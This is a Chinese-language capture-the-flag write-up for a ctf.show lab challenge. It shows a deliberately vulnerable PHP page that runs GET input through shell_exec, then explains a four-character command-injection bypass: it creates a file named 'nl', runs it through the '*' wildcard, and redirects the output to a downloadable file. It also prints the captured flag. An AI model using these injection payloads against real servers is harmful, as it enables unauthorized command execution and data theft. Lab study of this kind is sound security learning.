一、靶场:ctf.show
二、漏洞代码:
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
三、分析:将命令长度限制在了4,可以通过nl命令打印文件内容
根据ls得到目录下文件列表

可以通过linux命令 > 用于写入内容到一个文件中(linux中 > 前为空会根据 > 后的文件名创建一个新文件或将该文件内容清空),第一次写入空内容:1=>nl
![]()
构造完毕,利用通配符 * 将该目录下所有文件名作为linux指令执行:?1=*
查看源代码:
1 <?php
2 $flag = 'ctfshow{a94841a6-abdb-45c7-a96d-8118d125176a}';
3 ?>
4 <?php
5 show_source(__FILE__);
6 error_reporting(0);
7 if(strlen($_GET[1])<4){
8 echo shell_exec($_GET[1]);
9 }
10 else{
11 echo "hack!!!";
12 }
13 ?>
14 //by Firebasky
两个文件内容已经被nl正确按行顺序打印
二、linux输出重定向符号 > 的通常用法
url中输入?1=*>z,将 * 对应的命令输出结果重定向到z文件,由于没有文件后缀,默认访问直接可以下载,文件内容即 * 的输出结果
727

被折叠的 条评论
为什么被折叠?



